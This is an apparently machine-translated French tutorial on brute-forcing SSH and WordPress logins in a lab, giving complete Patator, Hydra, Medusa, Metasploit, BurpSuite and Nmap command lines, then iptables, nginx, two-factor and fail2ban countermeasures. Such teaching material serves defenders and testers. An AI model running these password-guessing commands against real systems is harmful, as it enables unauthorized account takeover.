Attaques par force brute avec Kali Linux



La force brute (attaque par force brute) est une méthode de résolution de problèmes mathématiques dont la complexité dépend du nombre de toutes les solutions possibles. Le terme brute-force lui-même est généralement utilisé dans le contexte des attaques de pirates lorsqu'un attaquant tente de récupérer un nom d'utilisateur / mot de passe pour un compte ou un service.

Considérez les outils qui peuvent être utilisés pour effectuer des attaques par force brute sur les services SSH et WEB disponibles dans Kali Linux (Patator, Medusa, Hydra, Metasploit), ainsi que BurpSuite.

Tous les matériaux fournis dans le cadre de cet article sont destinés à un usage pédagogique uniquement. L'utilisation de matériaux à des fins illégales et illégales est interdite.

Brute-force ssh


Par exemple, prenez la machine de test 192.168.60.50 et essayez de trouver le mot de passe du test utilisateur par SSH. Nous utiliserons des mots de passe populaires du dictionnaire rockyou.txt standard.



Patator
Pour sélectionner un mot de passe à l'aide de Patator, utilisez la commande:

patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg='Authentication failed'

où:
ssh_login - module requis
l'hôte est notre objectif
utilisateur - connexion utilisateur à laquelle un mot de passe ou un fichier avec des connexions pour une sélection multiple est sélectionné
mot de passe - dictionnaire avec mots de passe
-x ignore: mesg = 'Échec de l'authentification' - commande de ne pas afficher de ligne avec ce message. Le paramètre de filtrage est sélectionné individuellement.

image



Hydra
Pour sélectionner un mot de passe à l'aide d'Hydra, exécutez la commande:

hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50

où:
-V - afficher une paire de nom d'utilisateur + mot de passe pendant l'itération
-f - arrête dès que le mot de passe pour la connexion spécifiée est trouvé
-P - chemin d'accès au dictionnaire avec mots de passe
ssh: //192.168.60.50 - indication de service et adresse IP de la victime

image



Méduse
Pour sélectionner un mot de passe à l'aide de Medusa, exécutez la commande:

medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6

où:
-h - adresse IP de la victime
-u - connexion
-P - chemin du dictionnaire
-M - sélection du module
-f - s'arrête après avoir trouvé une paire nom d'utilisateur / mot de passe valide
-v - réglage de l'affichage des messages à l'écran pendant le processus de sélection

image



Metasploit
Nous chercherons un outil pour mener des attaques par force brute sur SSH:
search ssh_login et search ssh_login la réponse:

image

Nous utilisons le module:

use auxiliary/scanner/ssh/ssh_login

Pour afficher les paramètres nécessaires, utilisez la commande show options . Pour nous, c'est:
rhosts - adresse IP de la victime
rport - port
nom d'utilisateur - connexion SSH
userpass_file - chemin d'accès au dictionnaire
stop_on_success - arrête dès qu'il y a une paire nom d'utilisateur / mot de passe
threads - nombre de threads

image

L'indication des paramètres nécessaires se fait via la commande " set ".

set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22


Après avoir spécifié les paramètres nécessaires, nous tapons la commande " run " et attendons.

image

Contre-action


Limitez le nombre de connexions établies à l'aide d'un pare-feu. Exemple de configuration d'iptables:

-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset .

Une telle règle limitera l'accès à SSH pour chaque adresse IP à 1 connexion par seconde, ce qui complique considérablement la recherche. En outre, une solution efficace peut être l'utilisation d'une authentification à deux facteurs (par exemple, en utilisant eToken) ou une authentification en utilisant une paire de clés, ainsi que l'utilisation d'ACL basées sur des adresses IP.

WordPress à force brute


Prenons un autre exemple - la sélection du mot de passe pour la fenêtre d'autorisation du formulaire Web.

image

Par exemple, nous sélectionnerons le mot de passe dans le compte administrateur wordpress.



Burpsuite
Tout d'abord, nous devons comprendre comment se déroule le processus d'autorisation. Pour cela, nous utiliserons BurpSuite. Nous devons essayer de nous connecter avec n'importe quel mot de passe et connexion afin de voir quelles demandes passent par BurpSuite.

image

Eh bien, nous avons vu une demande d'autorisation POST, nous allons travailler avec elle.
BODY indique quel identifiant et mot de passe ont été vérifiés, ce qui signifie que nous pouvons essayer de remplacer les valeurs dont nous avons besoin par nous-mêmes.
Nous transmettons cette demande à Intruder et nous sélectionnons les paramètres nécessaires pour l'attaque. Dans l'élément Positions de charge utile, nous laissons le type d'attaque comme tireur d'élite, mais pour vérification, nous ne laissons que le paramètre pwd. Ainsi, une attaque ne changera que ce paramètre.

image

Nous chargeons le dictionnaire nécessaire et commençons l'attaque.

image

D'après le comportement de l'application Web, nous voyons que le mot de passe incorrect renvoie le code de réponse 200. Après avoir recherché le dictionnaire, nous voyons que l'un des mots de passe a donné la réponse avec le code 302 - il est correct.

image

Cette méthode de force brute prend beaucoup plus de temps que lors de l'utilisation de Patator, Hydra, Medusa, etc. Même si nous avons pris un petit dictionnaire, BurpSuite a parcouru le dictionnaire pendant environ 40 minutes.



Hydra
Essayons de trouver le mot de passe en utilisant Hydra.
Comme nous le savons déjà, si l'autorisation est incorrecte, le code 200 est renvoyé, et en cas de succès, le code est 302. Essayons d'utiliser ces informations.
Pour commencer, utilisez la commande:

hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"

Ici, nous indiquons les paramètres requis:
-l - nom d'utilisateur
-P - dictionnaire avec mots de passe
-t - nombre de threads
http-post-form - type de formulaire, nous avons POST.
/wp-login.php est l'URL de la page d'autorisation
^ USER ^ - indique où remplacer le nom d'utilisateur
^ PASS ^ - indique où remplacer le mot de passe du dictionnaire
S = 302 - une indication de quelle réponse s'appuyer sur Hydra. Dans notre cas, la réponse est 302 en cas d'autorisation réussie.

image



Patator
Comme nous le savons déjà, si l'autorisation échoue, le code 200 est retourné, et en cas de succès, il renvoie 302. Nous utiliserons le même principe qu'avec Hydra:
Le lancement est effectué par la commande:

patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1

http_fuzz - module pour l'attaque http par force brute
url - adresse de la page avec autorisation
FILE0 - chemin d'accès au dictionnaire avec mots de passe
corps - informations transmises dans la demande POST lors de l'autorisation
-t - nombre de threads
-x - Dans ce cas, nous avons spécifié la commande de ne pas afficher les lignes de message contenant un paramètre avec le code 200
accept_cookie - enregistre le paramètre du cookie et le transmet à la prochaine requête
En conséquence, nous avons réussi à trouver un mot de passe.

image



Nmap
L'utilitaire Nmap permet, entre autres, la sélection de mots de passe pour les formulaires d'autorisation Web, si vous utilisez le script http-wordpress-brute avec les arguments correspondants:
--script-args - ajout d'arguments
user ou userdb - connexion ou fichier avec connexions
pass ou passdb - spécifiez un mot de passe ou un dictionnaire
thread - nombre de threads
firstonly = true - affiche le résultat après le premier mot de passe correct

nmap 192.168.60.50 --script http-wordpress-brute --script-args 'user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true'

image

Contre-action


Limitez (compliquez) les attaques par force brute sur les applications Web en utilisant iptables (similaire à SSH) et nginx. Pour ce faire, créez une zone limite:
...
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
...

et l'utiliser:
location / {
...
limit_req zone=req_limits burst=10;
limit_req_status 429;
...
}

Ces paramètres limiteront le nombre de demandes d'une adresse IP à 40 par seconde.

Pour compliquer la tâche d'énumération, vous pouvez utiliser les méthodes suivantes:
- L'utilisation d'un pare-feu et d'autres logiciels pour limiter le nombre d'appels au service protégé. Vous pouvez découvrir comment nous utilisons l'apprentissage automatique pour détecter de telles attaques (y compris celles qui sont distribuées) dans un article .
- L'utilisation d'outils qui empêchent une vérification rapide de l'exactitude de la clé (par exemple, Captcha).

Conclusion


Dans cet article, nous avons examiné superficiellement certains outils populaires. Vous pouvez réduire le risque de deviner un mot de passe en suivant ces instructions:
- Utilisez des mots de passe résistants aux mots de passe;
- Ne créez pas de mots de passe à l'aide d'informations personnelles, par exemple: date de naissance ou nom + date de naissance ou téléphone portable;
- changer régulièrement le mot de passe;
- Utilisez des mots de passe uniques sur tous les comptes.

Peu de personnes suivent ces recommandations (ainsi que des recommandations pour un développement Web sécurisé), vous devez donc utiliser diverses solutions logicielles qui vous permettent de:
- limiter la connexion par adresse IP ou, si cela n'est pas possible, limiter le nombre de connexions simultanées au service (en utilisant iptables, nginx et autres);
- utiliser l'authentification à deux facteurs;
- Détectez et bloquez ces attaques en utilisant SIEM, WAF ou autres (par exemple, fail2ban).

Source: https://habr.com/ru/post/fr434216/


All Articles